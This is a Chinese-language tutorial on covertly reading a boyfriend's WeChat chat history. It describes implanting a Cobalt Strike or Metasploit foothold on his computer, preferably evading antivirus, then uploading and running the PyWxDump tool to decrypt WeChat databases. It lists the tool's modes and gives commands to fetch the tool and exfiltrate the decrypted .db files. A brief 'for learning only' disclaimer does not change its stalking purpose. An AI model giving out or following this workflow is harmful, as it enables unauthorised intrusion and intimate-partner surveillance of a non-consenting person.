本期应各位“女盆友”所诉。简单说说如何神不知鬼不觉地查阅男朋友的聊天记录。

注意：本文仅供学习和娱乐。坚决反对一切危害网络安全的行为。

女粉丝对我说，男盆友总是搞和别人搞暧昧。但是有没有证据，手机聊天记录也删地很干净。肿么办！

实验环境

• 有一个男盆友
• 微信登录后电脑锁屏

上线cs

首先，我们利用CS上线或者msf都可以。推荐msf!上线姿势有很多最好能做到免杀。（可以参考往期的文章）！

接下来，我们上线CS，如下图。

解密聊天记录

在前面的文章中，我们也讲到过微信聊天记录的恢复。今天我们再来说说另外一款工具PyWxDump。为了让女粉丝看的明白，学的透彻。复杂的编译就不说了。直接下载工具到kali中。

wget https://github.com/xaoyaoo/PyWxDump/releases/download/v2.3.11/wxdump.exe

🐌上传解密工具

接下来，利用cs将wxdump.exe上传到男盆友电脑中。

现在，我们需要切换到shell终端中，执行exe命令。

🎉工具参数说明

wxdump 模式 [参数]
  bias      获取微信基址偏移
  info      获取微信信息
  db_path   获取微信文件夹路径
  decrypt   解密微信数据库
  dbshow    聊天记录查看
  export    聊天记录导出为html
  all       获取微信信息，解密微信数据库，查看聊天记录

这里为了后期的方便，我是用msf进行了上传。

进入shell。执行工具。需要注意的是，需要目标登录微信。

出现下面界面则说明成功了。

查看记录

聊天记录有两种查看方式，首先来看最简单的。（需要网络防火墙授权）

直接访问目标主机IP+端口即可在web端查看。

🚣🏻不足

• 需要网络授权
• 仅在局域网内有效（外网考虑ipv6）

🎃方式二

进入解密目录，打包解密数据。下载到本地用数据库管理工具查看。

在msf中下载所有的数据库文件

download *.db

用kali中自带的数据库浏览工具即可浏览数据库中的数据，数据库一般格式为de_MSG.db